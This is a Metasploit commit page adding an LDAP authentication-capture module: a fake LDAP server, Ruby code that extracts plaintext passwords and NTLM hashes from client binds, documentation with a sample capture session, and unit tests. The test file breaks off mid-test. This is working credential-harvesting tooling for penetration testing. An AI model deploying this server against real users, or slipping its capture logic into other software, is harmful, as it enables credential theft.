Land #18678, add LDAP capture capabilities

This commit is contained in:
adfoster-r7 2024-02-15 22:11:04 +00:00 committed by GitHub
commit 7b56d012e8
No known key found for this signature in database
GPG Key ID: B5690EEEBB952194
9 changed files with 1092 additions and 70 deletions

View File

@ -16,6 +16,8 @@ services:
enabled: yes
- type: IMAP
enabled: yes
- type: LDAP
enabled: yes
- type: MSSQL
enabled: yes
- type: MySQL

View File

@ -0,0 +1,52 @@
## Vulnerable Application
This module emulates an LDAP Server which accepts User Bind Request to capture the User Credentials.
Upon receiving successful Bind Request, a `ldap_bind: Authentication method not supported (7)` error is sent to the User
## Verification Steps
1. Start msfconsole
2. Do: `use auxiliary/server/capture/ldap`
3. Do: `run`
4. From a new shell or workstation, perform a ldap bind request involving User credentials.
5. Check the database using `creds` for the user authentication information.
## Options
**Authentication**
The type of LDAP authentication to capture. The default type is `Simple`
## Scenarios
### Metasploit Server
```
msf6 > use auxiliary/server/capture/ldap
msf6 auxiliary(server/capture/ldap) > run
[*] Server started.
[+] LDAP Login attempt => From:10.0.2.15:48198 Username:User Password:Pass
```
### Client
```
└─$ ldapsearch -LLL -H ldap://10.0.2.15 -D cn=User,dc=example,dc=com -W
Enter LDAP Password:
ldap_bind: Auth Method Not Supported (7)
additional info: Auth Method Not Supported
```
**Database**
```
msf6 auxiliary(server/capture/ldap) > creds
Credentials
===========
host origin service public private realm private_type JtR Format
---- ------ ------- ------ ------- ----- ------------ ----------
10.0.2.15 10.0.2.15 389/tcp (ldap) User Pass example.com Password
```

View File

@ -76,6 +76,13 @@ module Msf
#
def start_service
comm = _determine_server_comm(bindhost)
auth_handler = Rex::Proto::LDAP::Auth.new(
datastore['CHALLENGE'],
datastore['Domain'],
datastore['Server'],
datastore['DnsName'],
datastore['DnsDomain']
)
self.service = Rex::ServiceManager.start(
Rex::Proto::LDAP::Server,
bindhost,
@ -84,6 +91,7 @@ module Msf
datastore['LdapServerTcp'],
read_ldif,
comm,
auth_handler,
{ 'Msf' => framework, 'MsfExploit' => self }
)

342
lib/rex/proto/ldap/auth.rb Normal file
View File

@ -0,0 +1,342 @@
require 'net/ldap'
require 'net/ldap/dn'
module Rex
module Proto
module LDAP
class Auth
SUPPORTS_SASL = %w[GSS-SPNEGO NLTM]
NTLM_CONST = Rex::Proto::NTLM::Constants
NTLM_CRYPT = Rex::Proto::NTLM::Crypt
MESSAGE = Rex::Proto::NTLM::Message
#
# Initialize the required variables
#
# @param challenge [String] NTLM Server Challenge
# @param domain [String] Domain value used in NTLM
# @param server [String] Server value used in NTLM
# @param dnsname [String] DNS Name value used in NTLM
# @param dnsdomain [String] DNS Domain value used in NTLM
def initialize(challenge, domain, server, dnsname, dnsdomain)
@domain = domain.nil? ? 'DOMAIN' : domain
@server = server.nil? ? 'SERVER' : server
@dnsname = dnsname.nil? ? 'server' : dnsname
@dnsdomain = dnsdomain.nil? ? 'example.com' : dnsdomain
@challenge = [challenge.nil? ? Rex::Text.rand_text_alphanumeric(16) : challenge].pack('H*')
end
#
# Process the incoming LDAP login requests from clients
#
# @param user_login [OpenStruct] User login information
#
# @return auth_info [Hash] Processed authentication information
def process_login_request(user_login)
auth_info = {}
if user_login.name.empty? && user_login.authentication.empty? # Anonymous
auth_info = handle_anonymous_request(user_login, auth_info)
elsif !user_login.name.empty? # Simple
auth_info = handle_simple_request(user_login, auth_info)
elsif sasl?(user_login)
auth_info = handle_sasl_request(user_login, auth_info)
else
auth_info = handle_unknown_request(user_login, auth_info)
end
auth_info
end
#
# Handle Anonymous authentication requests
#
# @param user_login [OpenStruct] User login information
# @param auth_info [Hash] Processed authentication information
#
# @return auth_info [Hash] Processed authentication information
def handle_anonymous_request(user_login, auth_info = {})
if user_login.name.empty? && user_login.authentication.empty?
auth_info[:user] = user_login.name
auth_info[:pass] = user_login.authentication
auth_info[:domain] = nil
auth_info[:result_code] = Net::LDAP::ResultCodeSuccess
auth_info[:auth_type] = 'Anonymous'
end
auth_info
end
#
# Handle Unknown authentication requests
#
# @param user_login [OpenStruct] User login information
# @param auth_info [Hash] Processed authentication information
#
# @return auth_info [Hash] Processed authentication information
def handle_unknown_request(user_login, auth_info = {})
auth_info[:result_code] = Net::LDAP::ResultCodeAuthMethodNotSupported
auth_info[:error_msg] = 'Invalid LDAP Login Attempt => Unknown Authentication Format'
auth_info
end
#
# Handle Simple authentication requests
#
# @param user_login [OpenStruct] User login information
# @param auth_info [Hash] Processed authentication information
#
# @return auth_info [Hash] Processed authentication information
def handle_simple_request(user_login, auth_info = {})
domains = []
names = []
if !user_login.name.empty?
if user_login.name =~ /@/
pub_info = user_login.name.split('@')
if pub_info.length <= 2
auth_info[:user], auth_info[:domain] = pub_info
else
auth_info[:result_code] = Net::LDAP::ResultCodeInvalidCredentials
auth_info[:error_msg] = "Invalid LDAP Login Attempt => DN:#{user_login.name}"
end
elsif user_login.name =~ /,/
begin
dn = Net::LDAP::DN.new(user_login.name)
dn.each_pair do |key, value|
if key == 'cn'
names << value
elsif key == 'dc'
domains << value
end
end
auth_info[:user] = names.join('')
auth_info[:domain] = domains.empty? ? nil : domains.join('.')
rescue Net::LDAP::InvalidDNError => e
auth_info[:error_msg] = "Invalid LDAP Login Attempt => DN:#{user_login.name}"
raise e
end
elsif user_login.name =~ /\\/
pub_info = user_login.name.split('\\')
if pub_info.length <= 2
auth_info[:domain], auth_info[:user] = pub_info
else
auth_info[:result_code] = Net::LDAP::ResultCodeInvalidCredentials
auth_info[:error_msg] = "Invalid LDAP Login Attempt => DN:#{user_login.name}"
end
else
auth_info[:user] = user_login.name
auth_info[:domain] = nil
auth_info[:result_code] = Net::LDAP::ResultCodeInvalidCredentials
end
auth_info[:private] = user_login.authentication
auth_info[:private_type] = :password
auth_info[:result_code] = Net::LDAP::ResultCodeAuthMethodNotSupported if auth_info[:result_code].nil?
auth_info[:auth_type] = 'Simple'
auth_info
end
end
#
# Handle SASL authentication requests
#
# @param user_login [OpenStruct] User login information
# @param auth_info [Hash] Processed authentication information
#
# @return auth_info [Hash] Processed authentication information
def handle_sasl_request(user_login, auth_info = {})
case user_login.authentication[1]
when /NTLMSSP/
message = Net::NTLM::Message.parse(user_login.authentication[1])
if message.is_a?(::Net::NTLM::Message::Type1)
auth_info[:server_creds] = generate_type2_response(message)
auth_info[:result_code] = Net::LDAP::ResultCodeSaslBindInProgress
elsif message.is_a?(::Net::NTLM::Message::Type3)
auth_info = handle_type3_message(message, auth_info)
auth_info[:result_code] = Net::LDAP::ResultCodeAuthMethodNotSupported
end
else
auth_info[:result_code] = Net::LDAP::ResultCodeAuthMethodNotSupported
auth_info[:error_msg] = 'Invalid LDAP Login Attempt => Unsupported SASL Format'
end
auth_info[:auth_type] = 'SASL'
auth_info
end
private
#
# Determine if the supplied request is formatted for SASL auth
#
# @param user_login [OpenStruct] User login information
#
# @return [bool] True if the request can be processed for SASL auth
def sasl?(user_login)
if user_login.authentication.is_a?(Array) && SUPPORTS_SASL.include?(user_login.authentication[0])
return true
end
false
end
#
# Generate NTLM Type2 response from NTLM Type1 message
#
# @param message [Net::NTLM::Message::Type1] NTLM Type1 message
#
# @return server_hash [String] NTLM Type2 response that is sent as server credentials
def generate_type2_response(message)
dom = message.domain
ws = message.workstation
domain = dom.empty? ? @domain : dom
server = ws.empty? ? @server : ws
server_hash = MESSAGE.process_type1_message(message.encode64, @challenge, domain, server, @dnsname, @dnsdomain)
Rex::Text.decode_base64(server_hash)
end
#
# Handle NTLM Type3 message
#
# @param message [Net::NTLM::Message::Type3] NTLM Type3 message
# @param auth_info [Hash] Processed authentication information
#
# @return auth_info [Hash] Processed authentication information
def handle_type3_message(message, auth_info = {})
arg = {
domain: message.domain,
user: message.user,
host: message.workstation
}
domain, user, host, lm_hash, ntlm_hash = MESSAGE.process_type3_message(message.encode64)
nt_len = ntlm_hash.length
if nt_len == 48
arg[:ntlm_ver] = NTLM_CONST::NTLM_V1_RESPONSE
arg[:lm_hash] = lm_hash
arg[:nt_hash] = ntlm_hash
if arg[:lm_hash][16, 32] == '0' * 32
arg[:ntlm_ver] = NTLM_CONST::NTLM_2_SESSION_RESPONSE
end
elsif nt_len > 48
arg[:ntlm_ver] = NTLM_CONST::NTLM_V2_RESPONSE
arg[:lm_hash] = lm_hash[0, 32]
arg[:lm_cli_challenge] = lm_hash[32, 16]
arg[:nt_hash] = ntlm_hash[0, 32]
arg[:nt_cli_challenge] = ntlm_hash[32, nt_len - 32]
else
auth_info[:error_msg] = "Unknown hash type from #{host}, ignoring ..."
end
auth_info.merge(process_ntlm_hash(arg)) unless arg.nil?
end
#
# Process the NTLM Hash received from NTLM Type3 message
#
# @param arg [Hash] authentication information received from Type3 message
#
# @return arg [Hash] Processed NTLM authentication information
def process_ntlm_hash(arg = {})
ntlm_ver = arg[:ntlm_ver]
lm_hash = arg[:lm_hash]
nt_hash = arg[:nt_hash]
unless ntlm_ver == NTLM_CONST::NTLM_V1_RESPONSE || ntlm_ver == NTLM_CONST::NTLM_2_SESSION_RESPONSE
lm_cli_challenge = arg[:lm_cli_challenge]
nt_cli_challenge = arg[:nt_cli_challenge]
end
domain = Rex::Text.to_ascii(arg[:domain])
user = Rex::Text.to_ascii(arg[:user])
host = Rex::Text.to_ascii(arg[:host])
case ntlm_ver
when NTLM_CONST::NTLM_V1_RESPONSE
if NTLM_CRYPT.is_hash_from_empty_pwd?({
hash: [nt_hash].pack('H*'),
srv_challenge: @challenge,
ntlm_ver: NTLM_CONST::NTLM_V1_RESPONSE,
type: 'ntlm'
})
arg[:error_msg] = 'NLMv1 Hash correspond to an empty password, ignoring ... '
return
end
if lm_hash == nt_hash || lm_hash == '' || lm_hash =~ /^0*$/
lm_hash_message = 'Disabled'
elsif NTLM_CRYPT.is_hash_from_empty_pwd?({
hash: [lm_hash].pack('H*'),
srv_challenge: @challenge,
ntlm_ver: NTLM_CONST::NTLM_V1_RESPONSE,
type: 'lm'
})
lm_hash_message = 'Disabled (from empty password)'
else
lm_hash_message = lm_hash
end
hash = [
lm_hash || '0' * 48,
nt_hash || '0' * 48
].join(':').gsub(/\n/, '\\n')
arg[:private] = hash
when NTLM_CONST::NTLM_V2_RESPONSE
if NTLM_CRYPT.is_hash_from_empty_pwd?({
hash: [nt_hash].pack('H*'),
srv_challenge: @challenge,
cli_challenge: [nt_cli_challenge].pack('H*'),
user: user,
domain: domain,
ntlm_ver: NTLM_CONST::NTLM_V2_RESPONSE,
type: 'ntlm'
})
arg[:error_msg] = 'NTLMv2 Hash correspond to an empty password, ignoring ... '
return
end
if (lm_hash == '0' * 32) && (lm_cli_challenge == '0' * 16)
lm_hash_message = 'Disabled'
elsif NTLM_CRYPT.is_hash_from_empty_pwd?({
hash: [lm_hash].pack('H*'),
srv_challenge: @challenge,
cli_challenge: [lm_cli_challenge].pack('H*'),
user: user,
domain: domain,
ntlm_ver: NTLM_CONST::NTLM_V2_RESPONSE,
type: 'lm'
})
lm_hash_message = 'Disabled (from empty password)'
else
lm_hash_message = lm_hash
end
hash = [
lm_hash || '0' * 32,
nt_hash || '0' * 32
].join(':').gsub(/\n/, '\\n')
arg[:private] = hash
when NTLM_CONST::NTLM_2_SESSION_RESPONSE
if NTLM_CRYPT.is_hash_from_empty_pwd?({
hash: [nt_hash].pack('H*'),
srv_challenge: @challenge,
cli_challenge: [lm_hash].pack('H*')[0, 8],
ntlm_ver: NTLM_CONST::NTLM_2_SESSION_RESPONSE,
type: 'ntlm'
})
arg[:error_msg] = 'NTLM2_session Hash correspond to an empty password, ignoring ... '
return
end
hash = [
lm_hash || '0' * 48,
nt_hash || '0' * 48
].join(':').gsub(/\n/, '\\n')
arg[:private] = hash
else
return
end
arg[:domain] = domain
arg[:user] = user
arg[:host] = host
arg[:private_type] = :ntlm_hash
arg
end
end
end
end
end

View File

@ -56,12 +56,13 @@ module Rex
# @param udp [TrueClass, FalseClass] Listen on UDP socket
# @param tcp [TrueClass, FalseClass] Listen on TCP socket
# @param ldif [String] LDIF data
# @param auth_provider [Rex::Proto::LDAP::Auth] LDAP Authentication provider which processes authentication
# @param ctx [Hash] Framework context for sockets
# @param dblock [Proc] Handler for :dispatch_request flow control interception
# @param sblock [Proc] Handler for :send_response flow control interception
#
# @return [Rex::Proto::LDAP::Server] LDAP Server object
def initialize(lhost = '0.0.0.0', lport = 389, udp = true, tcp = true, ldif = nil, comm = nil, ctx = {}, dblock = nil, sblock = nil)
def initialize(lhost = '0.0.0.0', lport = 389, udp = true, tcp = true, ldif = nil, comm = nil, auth_provider = nil, ctx = {}, dblock = nil, sblock = nil)
@serve_udp = udp
@serve_tcp = tcp
@sock_options = {
@ -74,6 +75,7 @@ module Rex
self.listener_thread = nil
self.dispatch_request_proc = dblock
self.send_response_proc = sblock
@auth_provider = auth_provider
end
#
@ -109,11 +111,13 @@ module Rex
stop
raise e
end
if !serve_udp
unless serve_udp
self.listener_thread = tcp_sock.listener_thread
end
end
@auth_provider ||= Rex::Proto::LDAP::Auth.new(nil, nil, nil, nil, nil)
self
end
@ -149,53 +153,90 @@ module Rex
#
# Default LDAP request dispatcher
#
# @param cli [Rex::Socket::Tcp, Rex::Socket::Udp] Client sending the request
# @param client [Rex::Socket::Tcp, Rex::Socket::Udp] Client sending the request
# @param data [String] raw LDAP request data
def default_dispatch_request(cli, data)
return if data.strip.empty?
def default_dispatch_request(client, data)
return if data.strip.empty? || data.strip.nil?
processed_pdu_data = {
ip: client.peerhost,
port: client.peerport,
service_name: 'ldap',
post_pdu: false
}
data.extend(Net::BER::Extensions::String)
begin
pdu = Net::LDAP::PDU.new(data.read_ber!(Net::LDAP::AsnSyntax))
wlog("LDAP request has remaining data: #{data}") if !data.empty?
resp = case pdu.app_tag
when Net::LDAP::PDU::BindRequest # bind request
cli.authenticated = true
encode_ldap_response(
pdu.message_id,
Net::LDAP::ResultCodeSuccess,
'',
'',
Net::LDAP::PDU::BindResult
)
when Net::LDAP::PDU::SearchRequest # search request
if cli.authenticated
# Perform query against some loaded LDIF structure
treebase = pdu.search_parameters[:base_object].to_s
# ... search, build packet, send to client
encode_ldap_response(
pdu.message_id,
Net::LDAP::ResultCodeNoSuchObject, '',
Net::LDAP::ResultStrings[Net::LDAP::ResultCodeNoSuchObject],
Net::LDAP::PDU::SearchResult
)
else
service.encode_ldap_response(pdu.message_id, 50, '', 'Not authenticated', Net::LDAP::PDU::SearchResult)
end
when Net::LDAP::PDU::UnbindRequest
nil # close client, no response can be sent over unbound comm
else
service.encode_ldap_response(
pdu.message_id,
Net::LDAP::ResultCodeUnwillingToPerform,
'',
Net::LDAP::ResultStrings[Net::LDAP::ResultCodeUnwillingToPerform],
Net::LDAP::PDU::SearchResult
) end
resp.nil? ? cli.close : send_response(cli, resp)
wlog("LDAP request data remaining: #{data}") unless data.empty?
res = case pdu.app_tag
when Net::LDAP::PDU::BindRequest
user_login = pdu.bind_parameters
server_creds = ''
context_code = nil
processed_pdu_data = @auth_provider.process_login_request(user_login).merge(processed_pdu_data)
if processed_pdu_data[:result_code] == Net::LDAP::ResultCodeSaslBindInProgress
server_creds = processed_pdu_data[:server_creds]
context_code = 7
else
processed_pdu_data[:result_message] = "LDAP Login Attempt => From:#{processed_pdu_data[:ip]}:#{processed_pdu_data[:port]}\t Username:#{processed_pdu_data[:user]}\t #{processed_pdu_data[:private_type]}:#{processed_pdu_data[:private]}\t"
processed_pdu_data[:result_message] += " Domain:#{processed_pdu_data[:domain]}" if processed_pdu_data[:domain]
processed_pdu_data[:post_pdu] = true
end
processed_pdu_data[:pdu_type] = pdu.app_tag
encode_ldap_response(
pdu.message_id,
processed_pdu_data[:result_code],
'',
Net::LDAP::ResultStrings[processed_pdu_data[:result_code]],
Net::LDAP::PDU::BindResult,
server_creds,
context_code
)
when Net::LDAP::PDU::SearchRequest
filter = Net::LDAP::Filter.parse_ldap_filter(pdu.search_parameters[:filter])
attrs = pdu.search_parameters[:attributes].empty? ? :all : pdu.search_parameters[:attributes]
res = search_result(filter, pdu.message_id, attrs)
if res.nil? || res.empty?
result_code = Net::LDAP::ResultCodeNoSuchObject
else
client.write(res)
result_code = Net::LDAP::ResultCodeSuccess
end
processed_pdu_data[:pdu_type] = pdu.app_tag
encode_ldap_response(
pdu.message_id,
result_code,
'',
Net::LDAP::ResultStrings[result_code],
Net::LDAP::PDU::SearchResult
)
when Net::LDAP::PDU::UnbindRequest
client.close
nil
else
if suitable_response(pdu.app_tag)
result_code = Net::LDAP::ResultCodeUnwillingToPerform
encode_ldap_response(
pdu.message_id,
result_code,
'',
Net::LDAP::ResultStrings[result_code],
suitable_response(pdu.app_tag)
)
else
client.close
end
end
if @pdu_process[pdu.app_tag] && !processed_pdu_data.empty?
@pdu_process[pdu.app_tag].call(processed_pdu_data)
end
send_response(client, res) unless res.nil?
rescue StandardError => e
elog(e)
cli.close
client.close
raise e
end
end
@ -203,50 +244,84 @@ module Rex
#
# Encode response for LDAP client consumption
#
# @param msgid [Integer] LDAP message identifier
# @param code [Integer] LDAP message code
# @param dn [String] LDAP distinguished name
# @param msg [String] LDAP response message
# @param tag [Integer] LDAP response tag
# @param msgid [Integer] LDAP message identifier
# @param code [Integer] LDAP message code
# @param dn [String] LDAP distinguished name
# @param msg [String] LDAP response message
# @param tag [Integer] LDAP response tag
# @param context_data [String] Additional data to serialize in the sequence
# @param context_code [Integer] Context Specific code related to `context_data`
#
# @return [Net::BER::BerIdentifiedOid] LDAP query response
def encode_ldap_response(msgid, code, dn, msg, tag)
def encode_ldap_response(msgid, code, dn, msg, tag, context_data = nil, context_code = nil)
tag_sequence = [
code.to_ber_enumerated,
dn.to_ber,
msg.to_ber
]
if context_data && context_code
tag_sequence << context_data.to_ber_contextspecific(context_code)
end
[
msgid.to_ber,
[
code.to_ber_enumerated,
dn.to_ber,
msg.to_ber
].to_ber_appsequence(tag)
tag_sequence.to_ber_appsequence(tag)
].to_ber_sequence
end
#
# Search provided ldif data for query information
# Search provided ldif data for query information. If no `ldif` was provided a random search result will be generated.
#
# @param filter [Net::LDAP::Filter] LDAP query filter
# @param attrflt [Array, Symbol] LDAP attribute filter
#
# @return [Array] Query matches
def search_ldif(filter, msgid, attrflt = :all)
return [] if @ldif.nil? || @ldif.empty?
ldif.map do |dn, entry|
next unless filter.match(entry)
def search_result(filter, msgid, attrflt = :all)
if @ldif.nil? || @ldif.empty?
attrs = []
entry.each do |k, v|
if attrflt == :all || attrflt.include?(k.downcase)
attrvals = v.map(&:to_ber).to_ber_set
attrs << [k.to_ber, attrvals].to_ber_sequence
if attrflt.is_a?(Array)
attrflt.each do |at|
attrval = [Rex::Text.rand_text_alphanumeric(10)].map(&:to_ber).to_ber_set
attrs << [at.to_ber, attrval].to_ber_sequence
end
dn = "dc=#{Rex::Text.rand_text_alphanumeric(10)},dc=#{Rex::Text.rand_text_alpha(4)}"
appseq = [
dn.to_ber,
attrs.to_ber_sequence
].to_ber_appsequence(Net::LDAP::PDU::SearchReturnedData)
[msgid.to_ber, appseq].to_ber_sequence
end
appseq = [
dn.to_ber,
attrs.to_ber_sequence
].to_ber_appsequence(Net::LDAP::PDU::SearchReturnedData)
[msgid.to_ber, appseq].to_ber_sequence
end.compact
else
ldif.map do |bind_dn, entry|
next unless filter.match(entry)
attrs = []
entry.each do |k, v|
if attrflt == :all || attrflt.include?(k.downcase)
attrvals = v.map(&:to_ber).to_ber_set
attrs << [k.to_ber, attrvals].to_ber_sequence
end
end
appseq = [
bind_dn.to_ber,
attrs.to_ber_sequence
].to_ber_appsequence(Net::LDAP::PDU::SearchReturnedData)
[msgid.to_ber, appseq].to_ber_sequence
end.compact.join
end
end
#
# Sets the tasks to be performed after processing of pdu object
#
# @param proc [Proc] block of code to execute
#
# @return pdu_process [Proc] steps to be executed
def processed_pdu_handler(pdu_type, &proc)
@pdu_process = []
@pdu_process[pdu_type] = proc if block_given?
end
#
@ -256,6 +331,27 @@ module Rex
"#{args[0] || ''}-#{args[1] || ''}-#{args[4] || ''}"
end
#
# Get suitable response for a particular request
#
# @param request [Integer] Type of request
#
# @return response [Integer] Type of response
def suitable_response(request)
responses = {
Net::LDAP::PDU::BindRequest => Net::LDAP::PDU::BindResult,
Net::LDAP::PDU::SearchRequest => Net::LDAP::PDU::SearchResult,
Net::LDAP::PDU::ModifyRequest => Net::LDAP::PDU::ModifyResponse,
Net::LDAP::PDU::AddRequest => Net::LDAP::PDU::AddResponse,
Net::LDAP::PDU::DeleteRequest => Net::LDAP::PDU::DeleteResponse,
Net::LDAP::PDU::ModifyRDNRequest => Net::LDAP::PDU::ModifyRDNResponse,
Net::LDAP::PDU::CompareRequest => Net::LDAP::PDU::CompareResponse,
Net::LDAP::PDU::ExtendedRequest => Net::LDAP::PDU::ExtendedResponse
}
responses[request]
end
#
# LDAP server.
#
@ -299,7 +395,7 @@ module Rex
dispatch_request(cli, data)
rescue EOFError => e
tcp_socket.close_client(cli) if cli
tcp_sock.close_client(cli) if cli
raise e
end

View File

@ -0,0 +1,103 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Auxiliary::Report
include Msf::Exploit::Remote::LDAP::Server
def initialize(_info = {})
super(
'Name' => 'Authentication Capture: LDAP',
'Description' => %q{
This module mocks an LDAP service to capture authentication
information of a client trying to authenticate against an LDAP service
},
'Author' => 'JustAnda7',
'License' => MSF_LICENSE,
'Actions' => [
[ 'Capture', { 'Description' => 'Run an LDAP capture server' } ]
],
'PassiveActions' => [ 'Capture' ],
'DefaultAction' => 'Capture',
'Notes' => {
'Stability' => [],
'Reliability' => [],
'SideEffects' => []
}
)
register_options(
[
OptAddress.new('SRVHOST', [ true, 'The ip address to listen on.', '0.0.0.0' ]),
OptPort.new('SRVPORT', [ true, 'The port to listen on.', '389' ]),
OptString.new('CHALLENGE', [ true, 'The 8 byte challenge', Rex::Text.rand_text_alphanumeric(16) ])
]
)
deregister_options('LDIF_FILE')
register_advanced_options(
[
OptString.new('Domain', [ false, 'The default domain to use for NTLM authentication', 'DOMAIN']),
OptString.new('Server', [ false, 'The default server to use for NTLM authentication', 'SERVER']),
OptString.new('DnsName', [ false, 'The default DNS server name to use for NTLM authentication', 'SERVER']),
OptString.new('DnsDomain', [ false, 'The default DNS domain name to use for NTLM authentication', 'example.com']),
OptPath.new('LDIF_FILE', [ false, 'Directory LDIF file path'])
]
)
end
def run
unless datastore['CHALLENGE'].to_s =~ /^([a-zA-Z0-9]{16})$/
print_error('CHALLENGE syntax must match 1122334455667788')
return
end
exploit
end
def primer
service.processed_pdu_handler(Net::LDAP::PDU::BindRequest) do |processed_data|
if processed_data[:post_pdu]
if processed_data[:error_msg]
print_error(processed_data[:error_msg])
else
print_good(processed_data[:result_message])
report_cred(processed_data)
end
end
end
end
def report_cred(opts)
service_data = {
address: opts[:ip],
port: opts[:port],
service_name: opts[:service_name],
protocol: 'tcp',
workspace_id: myworkspace_id
}
credential_data = {
origin_type: :service,
module_fullname: fullname,
username: opts[:user],
private_data: opts[:private],
private_type: opts[:private_type]
}.merge(service_data)
if opts[:domain]
credential_data = {
realm_key: Metasploit::Model::Realm::Key::ACTIVE_DIRECTORY_DOMAIN,
realm_value: opts[:domain]
}.merge(credential_data)
end
login_data = {
core: create_credential(credential_data),
status: Metasploit::Model::Login::Status::UNTRIED
}.merge(service_data)
create_credential_login(login_data)
end
end

View File

@ -198,6 +198,7 @@ module Msf
'DRDA' => 'auxiliary/server/capture/drda',
'FTP' => 'auxiliary/server/capture/ftp',
'IMAP' => 'auxiliary/server/capture/imap',
'LDAP' => 'auxiliary/server/capture/ldap',
'MSSQL' => 'auxiliary/server/capture/mssql',
'MySQL' => 'auxiliary/server/capture/mysql',
'POP3' => 'auxiliary/server/capture/pop3',
@ -578,6 +579,11 @@ module Msf
datastore['CHALLENGE'] = config[:ntlm_challenge]
end
def configure_ldap(datastore, config)
datastore['DOMAIN'] = config[:ntlm_domain]
datastore['CHALLENGE'] = config[:ntlm_challenge]
end
def configure_mssql(datastore, config)
datastore['DOMAIN_NAME'] = config[:ntlm_domain]
datastore['CHALLENGE'] = config[:ntlm_challenge]

View File

@ -0,0 +1,252 @@
# frozen_string_literal: true
require 'rex/text'
require 'rex/proto/ntlm/message'
RSpec.describe Rex::Proto::LDAP::Auth do
subject(:nil_parameter_auth) do
described_class.new(nil, nil, nil, nil, nil)
end
subject(:parameter_auth) do
described_class.new('1122334455667788', 'my_domain', 'my_server', 'my_dnsname', 'my_dnsdomain')
end
before do
@type3 = "0\x82\x01D\x02\x01\x01`\x82\x01=\x02\x01\x03\x04\x00\xA3\x82\x014\x04\nGSS-SPNEGO\x04\x82\x01$NTLMSSP\x00\x03\x00\x00\x00\x18\x00\x18\x00@"\
"\x00\x00\x00\x92\x00\x92\x00X\x00\x00\x00\f\x00\f\x00\xEA\x00\x00\x00\b\x00\b\x00\xF6\x00\x00\x00\x16\x00\x16\x00\xFE\x00\x00\x00\x10\x00\x10"\
"\x00\x14\x01\x00\x00\x05\x02\x80BN\x98\xF8\x84,\x8At\b\x98\xEC\xB7\xC8\x15\x12l\x01\x92\xDDO\x88<\xFA\x0F\xF4Q\x9AA\x12\xC4\x991\xE2\xA0\xCETk"\
"\x83\x00\xCA\x8D\x01\x01\x00\x00\x00\x00\x00\x00\x80\x15sIU\t\xDA\x01\x92\xDDO\x88<\xFA\x0F\xF4\x00\x00\x00\x00\x02\x00\f\x00D\x00O\x00M\x00A\x00I\x00N"\
"\x00\x01\x00\f\x00S\x00E\x00R\x00V\x00E\x00R\x00\x04\x00\x16\x00e\x00x\x00a\x00m\x00p\x00l\x00e\x00.\x00c\x00o\x00m\x00\x03\x00$\x00S\x00E\x00R\x00V"\
"\x00E\x00R\x00.\x00e\x00x\x00a\x00m\x00p\x00l\x00e\x00.\x00c\x00o\x00m\x00\x00\x00\x00\x00D\x00O\x00M\x00A\x00I\x00N\x00U\x00s\x00e\x00r\x00W\x00O\x00R"\
"\x00K\x00S\x00T\x00A\x00T\x00I\x00O\x00N\x00\xFD\xF0\x01l#bF\xD2\x87\x14\x119#c*\xBA"
end
let(:user_login) { OpenStruct.new }
let(:ntlm_type1) do
ntlm1 = Net::NTLM::Message::Type1.new.serialize
sasl = ['GSS-SPNEGO'.to_ber, ntlm1.to_ber].to_ber_contextspecific(3)
br = [
Net::LDAP::Connection::LdapVersion.to_ber, ''.to_ber, sasl
].to_ber_appsequence(Net::LDAP::PDU::BindRequest)
type1 = [0.to_ber, br, nil].compact.to_ber_sequence.read_ber(Net::LDAP::AsnSyntax)
pdu = Net::LDAP::PDU.new(type1)
pdu.bind_parameters
end
let(:ntlm_type3) do
pdu = Net::LDAP::PDU.new(@type3.read_ber(Net::LDAP::AsnSyntax))
pdu.bind_parameters
end
context '#initialize' do
it 'sets default values when called with nil arguments' do
expect(nil_parameter_auth.instance_variable_get(:@domain)).to eq('DOMAIN')
expect(nil_parameter_auth.instance_variable_get(:@server)).to eq('SERVER')
expect(nil_parameter_auth.instance_variable_get(:@dnsname)).to eq('server')
expect(nil_parameter_auth.instance_variable_get(:@dnsdomain)).to eq('example.com')
expect(nil_parameter_auth.instance_variable_get(:@challenge).length).to eq(8)
end
it 'sets provided values when called with arguments' do
expect(parameter_auth.instance_variable_get(:@domain)).to eq('my_domain')
expect(parameter_auth.instance_variable_get(:@server)).to eq('my_server')
expect(parameter_auth.instance_variable_get(:@dnsname)).to eq('my_dnsname')
expect(parameter_auth.instance_variable_get(:@dnsdomain)).to eq('my_dnsdomain')
expect(parameter_auth.instance_variable_get(:@challenge).length).to eq(8)
end
end
context '#handle_anonymous_request' do
before do
user_login.name = ''
user_login.authentication = ''
end
it 'returns a hash with expected values for anonymous requests' do
result = parameter_auth.handle_anonymous_request(user_login)
expect(result[:user]).to eq('')
expect(result[:pass]).to eq('')
expect(result[:domain]).to be_nil
expect(result[:auth_type]).to eq('Anonymous')
expect(result[:result_code]).to eq(Net::LDAP::ResultCodeSuccess)
end
end
context '#handle_simple_request' do
it 'handles requests with an username and domain in a DN object' do
user_login.name = 'cn=username,dc=domain,dc=com'
user_login.authentication = 'password'
result = parameter_auth.handle_simple_request(user_login)
expect(result[:user]).to eq('username')
expect(result[:domain]).to eq('domain.com')
expect(result[:private]).to eq('password')
expect(result[:private_type]).to eq(:password)
expect(result[:result_code]).to eq(Net::LDAP::ResultCodeAuthMethodNotSupported)
expect(result[:auth_type]).to eq('Simple')
end
it 'handles requests with an username and multiple DC components for domain in a DN object' do
user_login.name = 'cn=username,dc=domain1,dc=domain2,dc=domain3'
user_login.authentication = 'password'
result = parameter_auth.handle_simple_request(user_login)
expect(result[:user]).to eq('username')
expect(result[:domain]).to eq('domain1.domain2.domain3')
expect(result[:private]).to eq('password')
expect(result[:private_type]).to eq(:password)
expect(result[:result_code]).to eq(Net::LDAP::ResultCodeAuthMethodNotSupported)
expect(result[:auth_type]).to eq('Simple')
end
it 'handles requests with information in the form of username@domain' do
user_login.name = 'username@domain.com'
user_login.authentication = 'password'
result = parameter_auth.handle_simple_request(user_login)
expect(result[:user]).to eq('username')
expect(result[:domain]).to eq('domain.com')
expect(result[:private]).to eq('password')
expect(result[:private_type]).to eq(:password)
expect(result[:result_code]).to eq(Net::LDAP::ResultCodeAuthMethodNotSupported)
expect(result[:auth_type]).to eq('Simple')
end
it 'handles requests with invalid DN and CN components' do
user_login.name = 'cn=user,name,mydomain,dc=com'
user_login.authentication = 'password'
expect { parameter_auth.handle_simple_request(user_login) }.to raise_error(Net::LDAP::InvalidDNError)
end
it 'handles requests with username and domain in NETBIOS format' do
user_login.name = 'domain\\username'
user_login.authentication = 'password'
result = parameter_auth.handle_simple_request(user_login)
expect(result[:user]).to eq('username')
